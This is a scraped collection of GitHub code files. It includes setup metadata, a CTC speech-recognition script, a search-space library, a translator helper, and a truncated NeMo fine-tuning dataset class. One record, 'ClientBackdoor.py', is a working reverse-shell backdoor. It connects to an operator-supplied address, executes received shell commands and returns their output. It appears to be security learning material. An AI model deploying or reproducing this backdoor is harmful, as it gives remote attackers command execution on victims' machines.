long_description=read_md('README.md'),\n author='Tang Haijun',\n author_email='tanghj@cyberpeace.cn', # SEE NOTE BELOW (*)\n packages=get_packages(app),\n package_data=get_package_data(app),\n install_requires=[],\n zip_safe=False,\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Internet :: WWW/HTTP',\n ]\n)\n","repo_name":"g842995907/guops-know","sub_path":"test-xooj/setup_templet.py","file_name":"setup_templet.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"7428555874","text":"import numpy as np\nimport argparse\n\nBLANK_SYMBOL = \"_\"\n\n\ndef load_mat(path_to_mat):\n \"\"\"\n Load mat file and return numpy array\n :param path_to_mat: path to mat file\n :return: numpy array\n \"\"\"\n return np.load(path_to_mat)\n\n\ndef ctc(word: str, get_letter_time_prob: callable, T: int) -> float:\n z = get_valid_z_pattern(word)\n\n linear_prog = np.ones((len(z), T)) * -1 # S x T\n\n def calc_prob(s: int, t: int):\n if s < 0 or t < 0:\n return 0\n if t == 0:\n if s > 1:\n linear_prog[s][t] = 0\n else:\n linear_prog[s][t] = get_letter_time_prob(t, z[s])\n if linear_prog[s][t] == -1:\n if z[s] == BLANK_SYMBOL or (s > 1 and z[s] == z[s - 2]):\n linear_prog[s][t] = (calc_prob(s - 1, t - 1) + calc_prob(s, t - 1)) * get_letter_time_prob(t, z[s])\n else:\n linear_prog[s][t] = (calc_prob(s - 2, t - 1) + calc_prob(s - 1, t - 1) + calc_prob(s, t - 1)) * get_letter_time_prob(t, z[s])\n return linear_prog[s][t]\n\n final = calc_prob(len(z) - 1, T - 1) + calc_prob(len(z) - 2, T - 1)\n return final\n\n\ndef get_valid_z_pattern(word):\n z = [BLANK_SYMBOL]\n for c in word:\n z.append(c)\n z.append(BLANK_SYMBOL)\n return z\n\n\ndef get_prob_from_time_letter_func(probs_mat: np.array, vocabulary: str) -> callable:\n assert probs_mat.shape[1] == len(vocabulary)\n\n def prob_from_time_letter(time: int, letter: str):\n letter_index = vocabulary.index(letter)\n return probs_mat[time][letter_index]\n\n return prob_from_time_letter\n\n\ndef parse_args():\n \"\"\"\n Parse arguments\n :return: args\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"path_to_mat\", type=str, help=\"path to mat file\")\n parser.add_argument(\"word\", type=str, help=\"word to parse\")\n parser.add_argument(\"vocabulary\", type=str, help=\"string for vocabulary (no blanks)\")\n\n return parser.parse_args()\n\n\ndef main(mat, word, vocabulary):\n vocab = BLANK_SYMBOL + vocabulary\n prob_from_time_letter = get_prob_from_time_letter_func(mat, vocab)\n T, V = mat.shape\n word_prob = ctc(word, prob_from_time_letter, T)\n print(\"%.3f\" % word_prob)\n return word_prob\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n mat = load_mat(args.path_to_mat)\n main(mat, args.word, args.vocabulary)\n","repo_name":"yairshemer1/sound_ex4","sub_path":"ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"7923615315","text":"from copy import copy\nimport inspect\nfrom logging import warn\nfrom typing_extensions import Self\nfrom unittest import result\nfrom search_space.context_manager.sampler_context import SamplerContext\nfrom search_space.sampler.distribution_names import UNIFORM, UNIFORM_BERNOULLI\nfrom search_space.spaces.visitors import visitors\nfrom search_space.spaces import BasicSearchSpace\nimport imp\nfrom typing import List, Type\nfrom search_space.utils.singleton import Singleton\nfrom search_space.spaces import SearchSpace\nfrom search_space.spaces.asts import constraints as ast_constraint\nfrom typing import _UnionGenericAlias\nfrom search_space.spaces.domains.categorical_domain import CategoricalDomain\nfrom search_space.errors import RecursionErrorSpaceDefinition\n# TODO: Change to Multiply definitions\n\n\nclass SpacesManager(metaclass=Singleton):\n def __init__(self) -> None:\n self.__spaces = {}\n self.__metadata = {}\n\n @staticmethod\n def registry(_type: Type = None):\n def f(cls):\n manager = SpacesManager()\n if _type is None:\n manager.__spaces[cls] = cls\n else:\n manager.__spaces[_type] = cls\n\n return cls\n return f\n\n def get_space_by_type(self, _type: Type) -> Type[SearchSpace]:\n try:\n return self.__spaces[_type]\n except KeyError:\n if type(_type) == _UnionGenericAlias:\n args = [self.get_space_by_type(t) for t in _type.__args__]\n return UnionSpace(*args)\n\n def f(*args, **kwargs):\n\n if _type == type(None):\n return NoneSpace()\n\n if _type == Self:\n return SelfSpace()\n\n return SpaceFactory(_type)\n return f\n\n def find_metadata(self, _type):\n return self.__metadata[_type]\n\n def save_metadata(self, _type, sub_space):\n self.__metadata[_type] = {}\n for name, method in inspect.getmembers(_type, inspect.isfunction):\n self.__metadata[_type][name] = ClassFunction(\n method, sub_space, _type\n )\n\n return self.__metadata[_type]\n\n\nclass FunctionParamInfo:\n def __init__(self, name) -> None:\n self.name = name\n self.type = None\n self.default = None\n\n def type_init(self):\n if self.default is None and not self.type is None:\n self.default = SpacesManager().get_space_by_type(self.type)()\n\n def __eq__(self, __o: object) -> bool:\n return __o == self.name\n\n def get_sample(self, context=None, sub_space=[]):\n if self.default is None:\n return None\n\n try:\n _ = self.default.get_sample\n except AttributeError:\n return self.default\n\n try:\n value = [s for s in sub_space if hash(\n s) == hash(self.default)][0]\n name = value.space_name\n value.space_name = self.default.space_name\n except IndexError:\n name = self.default.space_name\n value = self.default\n\n result, _ = value.get_sample(context=context)\n value.space_name = name\n return result\n\n\nclass ClassFunction:\n def __init__(self, func, sub_space: list, _self, context=None, params=None, instance=None) -> None:\n self.func = func\n self.params = params\n self.context = context\n self.sub_space = []\n self.instance = instance\n\n if params is None:\n func_data = inspect.getfullargspec(func)\n self.params: List[FunctionParamInfo] = []\n\n for arg in func_data.args:\n if arg == 'self':\n continue\n self.params.append(FunctionParamInfo(arg))\n\n for param in self.params:\n try:\n param.type = func_data.annotations[param.name]\n except KeyError:\n pass\n\n if not func_data.defaults is None:\n for i, value in enumerate(reversed(func_data.defaults)):\n\n try:\n value = value.space\n except AttributeError:\n pass\n\n _value = copy(value)\n\n try:\n member = [s for s in sub_space if hash(\n s) == hash(value)][0]\n _value.set_hash(hash(member))\n except IndexError:\n pass\n finally:\n value = _value\n try:\n value.__self_assign__(_self)\n except AttributeError:\n pass\n\n try:\n if not value.space_name.startswith(f'{self.params[-1 -i].name}:'):\n value.space_name = f'{self.params[-1 -i].name}:{value.space_name}'\n except:\n pass\n\n self.params[-1 - i].default = value\n\n for arg in self.params:\n arg.type_init()\n\n def get_new_func(self, context, sub_space, instance=None):\n result = ClassFunction(self.func, [], None,\n context, self.params, instance)\n result.sub_space = sub_space\n\n return result\n\n def sample_params(self, *args, **kwds):\n new_args = []\n args_index = 0\n\n for arg in self.params:\n try:\n new_args.append(kwds[arg.name])\n except KeyError:\n if args_index < len(args):\n new_args.append(args[args_index])\n args_index += 1\n else:\n new_args.append(arg.get_sample(\n context=self.context,\n sub_space=self.sub_space)\n )\n return new_args\n\n def __call__(self, *args, **kwds):\n inner_context = self.context\n self.context = self.context.create_child(\n f'called_{self.func.__name__}')\n\n try:\n new_args = self.sample_params(*args, **kwds)\n except Exception as e:\n error = e\n\n self.context = inner_context\n\n try:\n raise error\n except NameError:\n\n return self.func(*([self.instance] + new_args))\n\n\nclass SpaceFactory(SearchSpace):\n def __init__(\n self, _type,\n distribute_like=None,\n sampler=None,\n ast=None,\n clean_asts=None,\n layers=[]\n ) -> None:\n\n super().__init__(\n _type,\n distribute_like,\n sampler,\n ast_constraint.AstRoot() if ast is None else ast,\n ast_constraint.AstRoot() if ast is None else clean_asts,\n layers\n )\n\n self.type = _type\n self._sub_space = {}\n self.space_name = _type.__name__\n\n for name, member in inspect.getmembers(self.type):\n try:\n if isinstance(member.space, BasicSearchSpace):\n self._sub_space[name] = copy(member.space)\n self._sub_space[name].set_hash(hash(member.space))\n self._sub_space[name].layers_append(\n visitors.EvalAstChecked(),\n visitors.MemberAstModifierVisitor(self, name)\n )\n\n except AttributeError:\n pass\n\n manager = SpacesManager()\n try:\n self._metadata = manager.find_metadata(self.type)\n except KeyError:\n self._metadata = manager.save_metadata(\n self.type, list(self._sub_space.values()))\n\n self.visitor_layers = []\n\n def __ast_init_filter__(self):\n return self.ast_constraint + self._clean_asts\n\n def __ast_result_filter__(self, result):\n return result\n\n def __sampler__(self, domain, context: SamplerContext):\n instance_context = context.create_child(f'{self.space_name}_members')\n key_list = list(self._sub_space.values())\n class_func = self._metadata['__init__'].get_new_func(\n instance_context, key_list)\n\n class_instance = self.type(*class_func.sample_params())\n class_instance.__instance_context__ = instance_context\n\n for name, class_func in self._metadata.items():\n if name == '__init__':\n continue\n\n setattr(class_instance, name,\n class_func.get_new_func(instance_context, key_list, class_instance))\n\n return class_instance, instance_context\n\n def __ast_optimization__(self, ast_list):\n\n super().__ast_optimization__(ast_list)\n\n for key, space in self._sub_space.items():\n self._sub_space[key] = space.__ast_optimization__(ast_list)\n\n return self\n\n def __save_ast_from_self__(self, ast_list):\n super().__ast_optimization__(ast_list)\n return self\n\n def __getitem__(self, index):\n return self._sub_space[index]\n\n def layers_append(self, *args):\n super().layers_append(*args)\n\n for space in self._sub_space.values():\n space.layers_append(*args)\n\n def __repr__(self) -> str:\n return f'Space({self.space_name})'\n\n\nclass SelfSpace:\n def __init__(self, distribute_like=None) -> None:\n self.self_space = None\n self.ast_cache = []\n\n def get_sample(self, context=None, local_domain=None):\n return self.self_space.get_sample()[0], context\n\n def __getattr__(self, __name: str):\n return getattr(self.self_space, __name)\n\n def __self_assign__(self, space):\n if self.self_space is None:\n self.self_space = SpacesManager().get_space_by_type(space)()\n for ast in self.ast_cache:\n self.self_space = self.self_space.__ast_optimization__(ast)\n\n def __ast_optimization__(self, ast_list):\n if self.self_space is None:\n self.ast_cache.append(ast_list)\n else:\n self.self_space = self.self_space.__save_ast_from_self__(ast_list)\n\n return self\n\n\nclass NoneSpace(BasicSearchSpace):\n def __init__(self) -> None:\n super().__init__(None, None)\n\n def get_sample(self, context=None, local_domain=None):\n return None, context\n\n def __ast_optimization__(self, ast_list):\n return self\n\n def __eq__(self, __o: object) -> bool:\n return __o == None or super().__eq__(__o)\n\n\nclass UnionSpace(SearchSpace):\n def __init__(\n self,\n *domain,\n distribute_like=UNIFORM,\n sampler=None,\n ast=None,\n clean_asts=None,\n layers=[]\n ) -> None:\n\n super().__init__(\n CategoricalDomain(domain),\n distribute_like,\n sampler,\n ast_constraint.AstRoot() if ast is None else ast,\n ast_constraint.AstRoot() if ast is None else clean_asts,\n layers=[visitors.TypeDomainModifierVisitor()] if len(\n layers) == 0 else layers\n )\n\n def get_sample(self, context=None, local_domain=None):\n space, context = super().get_sample(context)\n return space.get_sample(context)\n\n # try:\n # except RecursionError:\n # if None in self.initial_domain.limits:\n # warn('ForceResult: For RecursionError Select None Value')\n # context.registry_sampler(space, None)\n # return None, context\n # else:\n # raise RecursionErrorSpaceDefinition\n\n def __call__(self, *args, **kwds):\n self.initial_domain = CategoricalDomain(\n [space(*args, **kwds) for space in self.initial_domain.list]\n )\n\n return self\n\n def __ast_optimization__(self, ast_list):\n\n super().__ast_optimization__(ast_list)\n\n result = []\n for space in self.initial_domain.list:\n result.append(space.__ast_optimization__(ast_list))\n\n self.initial_domain.list = result\n\n return self\n\n def __self_assign__(self, space):\n\n for s in self.initial_domain.list:\n try:\n s.__self_assign__(space)\n except AttributeError:\n pass\n\n def __check_sample__(self, sample, ast_result, context):\n return\n\n def __copy__(self):\n\n result = type(self)(\n distribute_like=self.__distribute_like__,\n sampler=None,\n ast=ast_constraint.AstRoot(copy(self.ast_constraint.asts)),\n clean_asts=ast_constraint.AstRoot(copy(self._clean_asts.asts)),\n layers=copy(self.visitor_layers)\n )\n\n result.initial_domain = copy(self.initial_domain)\n return result\n","repo_name":"danielorlando97/search-space","sub_path":"search_space/spaces/build_in_spaces/space_manager.py","file_name":"space_manager.py","file_ext":"py","file_size_in_byte":12750,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"9"} +{"seq_id":"38026662800","text":"import socket\r\nimport subprocess\r\n\t\r\nSRV_ADDR = input(\"IP address : \")\r\nSRV_PORT = int(input(\"Port :\"))\r\n\r\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nstatus = client.connect_ex((SRV_ADDR,SRV_PORT)) \r\nif status == 0 : \r\n\tprint(\"connection established\")\r\nelse : \r\n\tprint(\"connection failed\")\r\n\r\nwhile 1 :\r\n\tprint(\"[-] Awaiting commands...\")\r\n\tcommand = client.recv(1024)\r\n\tcommand = command.decode()\r\n\top = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)\r\n\toutput = op.stdout.read()\r\n\toutput_error = op.stderr.read()\r\n\tprint(\"[-] Sending response...\")\r\n\tclient.send(output + output_error)\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n\t#command = input(\"Enter command : \")\r\n\t#command = command.encode()\r\n\t#op = subprocess.Popen(command)\r\n\t#output = op.stdout.read()\r\n\t#print(\"sending output\")\r\n\t#c.send(output)\r\n\t#print(output)\r\n","repo_name":"Gooda4Work/Cybersec","sub_path":"Backdoor basique/ClientBackdoor.py","file_name":"ClientBackdoor.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"8557252972","text":"import os\nimport configparser\nimport sys\n\n\nclass Console:\n QUIT = \"\\quit\"\n SHOW = '\\show'\n END = '\\033[0m'\n WHITE = '\\033[97m'\n YELLOW = '\\033[33m'\n LIGHT_YELLOW = '\\033[93m'\n\n\nclass System:\n is_save_to_file = False\n config = None\n config_file = \"config/settings.conf\"\n file_name = \"ytr-words.txt\"\n save_path = \"\"\n\n def __init__(self, config_file_name=config_file):\n self.config_file = config_file_name\n self.read_config_file()\n\n def read_config_file(self):\n try:\n config = configparser.ConfigParser()\n if os.path.exists(self.config_file):\n config.read(self.config_file)\n self.save_path = config['save_params']['save_dir']\n self.is_save_to_file = config['save_params']['save_to_file']\n self.file_name = config['save_params']['save_file_name']\n\n self.config = config\n return config\n except OSError:\n print('Cannot read settings file')\n sys.exit()\n except configparser.Error:\n print('Cannot read settings params')\n sys.exit()\n\n def save_to_file(self, word, tr_word):\n path = os.path.expanduser(\"~\")\n if os.path.exists(self.save_path):\n path = self.save_path\n\n try:\n with open(os.path.join(path, self.file_name), \"a\") as file:\n file.write(word + \" - \" + tr_word + \"\\n\")\n file.close()\n except IOError:\n print(\"Cannot save to file\")\n\n\n","repo_name":"flotzilla/python-console-translator","sub_path":"src/System.py","file_name":"System.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"7730672457","text":"import re\nfrom typing import List, Mapping, Optional\n\nimport datasets\nimport numpy as np\nimport torch\n\n# hack to avoid the \"not enough disk space\" error in some slurm cluster\ndatasets.builder.has_sufficient_disk_space = lambda needed_bytes, directory='.': True\nfrom datasets import load_dataset\n\nfrom nemo.collections.common.tokenizers.tokenizer_spec import TokenizerSpec\nfrom nemo.collections.nlp.data.language_modeling.megatron.dataset_utils import get_samples_mapping\nfrom nemo.collections.nlp.data.language_modeling.text_memmap_dataset import JSONLMemMapDataset\nfrom nemo.core.classes import Dataset\nfrom nemo.utils import logging\n\n__all__ = ['GPTSFTDataset']\n\n\nclass GPTSFTDataset(Dataset):\n def __init__(\n self,\n file_path: str,\n tokenizer: TokenizerSpec,\n max_seq_length: int = 1024,\n min_seq_length: int = 1,\n add_bos: bool = False,\n add_eos: bool = True,\n add_sep: bool = False,\n sep_id: int = None,\n max_num_samples: int = None,\n seed: int = 1234,\n label_key: str = \"answer\",\n answer_only_loss: bool = True,\n truncation_field: str = \"text\",\n pad_to_max_length: bool = False, # (@adithyare) allows for much faster training especially in PEFT settings.\n index_mapping_dir: str = None,\n prompt_template: str = None,\n virtual_tokens: int = 0,\n tokens_to_generate: int = 0,\n memmap_workers: Optional[int] = None,\n hf_dataset: bool = False,\n truncation_method: str = 'right',\n special_tokens: Optional[Mapping[str, str]] = None, # special tokens, a dictory of {token_type: token}\n ):\n \"\"\"\n file_path: Path to a JSONL GPT supervised fine-tuning dataset. Data is formatted as multiple JSON lines with each line formatted as follows. {'input': 'John von Neumann\\nVon Neumann made fundamental contributions .... Q: What did the math of artificial viscosity do?', 'output': 'smoothed the shock transition without sacrificing basic physics'}\n tokenizer: Tokenizer for the dataset. Instance of a class that inherits TokenizerSpec (ex: YTTM, SentencePiece).\n max_seq_length (int): maximum sequence length for each dataset examples. Examples will either be truncated to fit this length or dropped if they cannot be truncated.\n min_seq_length (int): min length of each data example in the dataset. Data examples will be dropped if they do not meet the min length requirements.\n add_bos (bool): Whether to add a beginning of sentence token to each data example\n add_eos (bool): Whether to add an end of sentence token to each data example\n add_sep (bool): Whether to add a separation token to each data example (goes between prompt and answer)\n tokens_to_generate (int): (inference only) Number of tokens to generate during inference\n seed: Random seed for data shuffling.\n max_num_samples: Maximum number of samples to load. This can be > dataset length if you want to oversample data. If None, all samples will be loaded.\n seed: int = 1234,\n label_key: Key to use for the label in your JSONL file\n answer_only_loss: If True, will compute the loss only on the answer part of the input. If False, will compute the loss on the entire input.\n truncation_field: Field to use for truncation. (Options: keys in prompt_template). Field to be used for truncation if the combined length exceeds the max sequence length.\n pad_to_max_length: Whether to pad the input to the max sequence length. If False, will pad to the max length of the current batch.\n index_mapping_dir: Directory to save the index mapping to. If None, will write to the same folder as the dataset.\n prompt_template: Prompt template to inject via an fstring. Formatted like Q: {context_key}\\n\\nA: {label_key}\n hf_dataset: Whether to load the json file with the HuggingFace dataset. otherwise, will load the jsonl file with the JSONLMemMapDataset.\n truncation_method: Truncation from which position. Options: ['left', 'right']\n special_tokens: special tokens for the chat prompts, a dictionary of {token_type: token}. Default: {'system_turn_start': '', 'turn_start': '', 'label_start': '', 'end_of_turn': '\\n', \"end_of_name\": \"\\n\"}\n \"\"\"\n self.tokenizer = tokenizer\n self.file_path = file_path\n self.max_seq_length = max_seq_length\n self.min_seq_length = min_seq_length\n self.add_bos = add_bos\n self.add_eos = add_eos\n self.add_sep = add_sep\n self.sep_id = sep_id\n self.max_num_samples = max_num_samples\n self.seed = seed\n self.label_key = label_key\n self.answer_only_loss = answer_only_loss\n self.truncation_fields = truncation_field.split(',')\n self.pad_to_max_length = pad_to_max_length\n self.index_mapping_dir = index_mapping_dir\n self.prompt_template = prompt_template\n self.virtual_tokens = virtual_tokens\n self.tokens_to_generate = tokens_to_generate\n self.truncation_method = truncation_method\n if special_tokens is None:\n self.special_tokens = {\n \"system_turn_start\": \"\",\n \"turn_start\": \"\",\n \"label_start\": \"\",\n \"end_of_turn\": \"\\n\",\n \"end_of_name\": \"\\n\",\n }\n else:\n self.special_tokens = special_tokens\n\n if hf_dataset:\n self.indexed_dataset = load_dataset(\n 'json', data_files=file_path, cache_dir=index_mapping_dir, num_proc=memmap_workers, split='train'\n )\n else:\n self.indexed_dataset = JSONLMemMapDataset(\n dataset_paths=[file_path],\n tokenizer=None,\n header_lines=0,\n index_mapping_dir=index_mapping_dir,\n workers=memmap_workers,\n )\n\n # Validate prompt template\n self._maybe_validate_prompt_template()\n\n # Will be None after this call if `max_num_samples` is None\n self._build_samples_mapping()\n\n def _maybe_validate_prompt_template(self):\n assert (\n self.prompt_template is not None\n ), f'we need prompt_template to combine contexts and label {self.label_key}'\n # When providing things like newlines in the prompt template via the CLI, they are escaped. This line unescapes them.\n self.prompt_template = self.prompt_template.encode('utf-8').decode('unicode_escape')\n self.prompt_template_keys = re.findall(r'{(.*?)}', self.prompt_template)\n\n label_placeholder = f'{{{self.label_key}}}'\n assert (\n self.prompt_template[-len(label_placeholder) :] == label_placeholder\n ), f'{label_placeholder} must be at the end of prompt_template.'\n\n # Legacy checkpoints has self.truncation_fields = ['context'] and self.prompt_template_keys = ['input', 'output']\n if self.prompt_template_keys[0] == 'input' and self.truncation_fields[0] == 'context':\n self.truncation_fields[0] = self.prompt_template_keys[0]\n\n assert set(self.truncation_fields).issubset(\n self.prompt_template_keys\n ), f'truncation_fields {self.truncation_fields} must in {self.prompt_template_keys}'\n\n def _build_samples_mapping(self):\n if self.max_num_samples is not None:\n self.samples_mapping = get_samples_mapping(\n indexed_dataset=self.indexed_dataset,\n data_prefix=self.file_path,\n num_epochs=None,\n max_num_samples=self.max_num_samples,\n max_seq_length=self.max_seq_length - 2,\n short_seq_prob=0,\n seed=self.seed,\n name=self.file_path.split('/')[-1],\n binary_head=False,\n index_mapping_dir=self.index_mapping_dir,\n )\n else:\n self.samples_mapping = None\n\n def __len__(self):\n if self.max_num_samples is None:\n return len(self.indexed_dataset)\n else:\n return len(self.samples_mapping)\n\n def __getitem__(self, idx):\n if isinstance(idx, np.int64):\n idx = idx.item()\n\n if self.samples_mapping is not None:\n assert idx < len(self.samples_mapping)\n idx, _, _ = self.samples_mapping[idx]\n if isinstance(idx, np.uint32):\n idx = idx.item()\n\n assert idx < len(self.indexed_dataset)\n # idx may < 0 because we pad_samples_to_global_batch_size, e.g. id = -1\n if idx < 0:\n idx = len(self) + idx\n auto_gen_idx = True\n else:\n auto_gen_idx = False\n try:\n example = self.indexed_dataset[idx]\n if auto_gen_idx:\n example['__AUTOGENERATED__'] = True\n except Exception as e:\n logging.error(f\"Error while loading example {idx} from dataset {self.file_path}\")\n raise e\n return self._process_example(example)\n\n def _separate_template(self, prompt_template_values: List[str]):\n \"\"\"\n Combine contexts and label based on prompt_template into a list of strings and a list of keys.\n\n Args:\n prompt_template_values (List[str]): the list of context and label strings extrated from jsonl file with prompt_template_keys.\n\n Returns:\n template_strings (List[str]): separated prompt_template with contexts/label placeholder filled with corresponding strings\n template_strings_keys (List[str]): strings point to placeholder keys or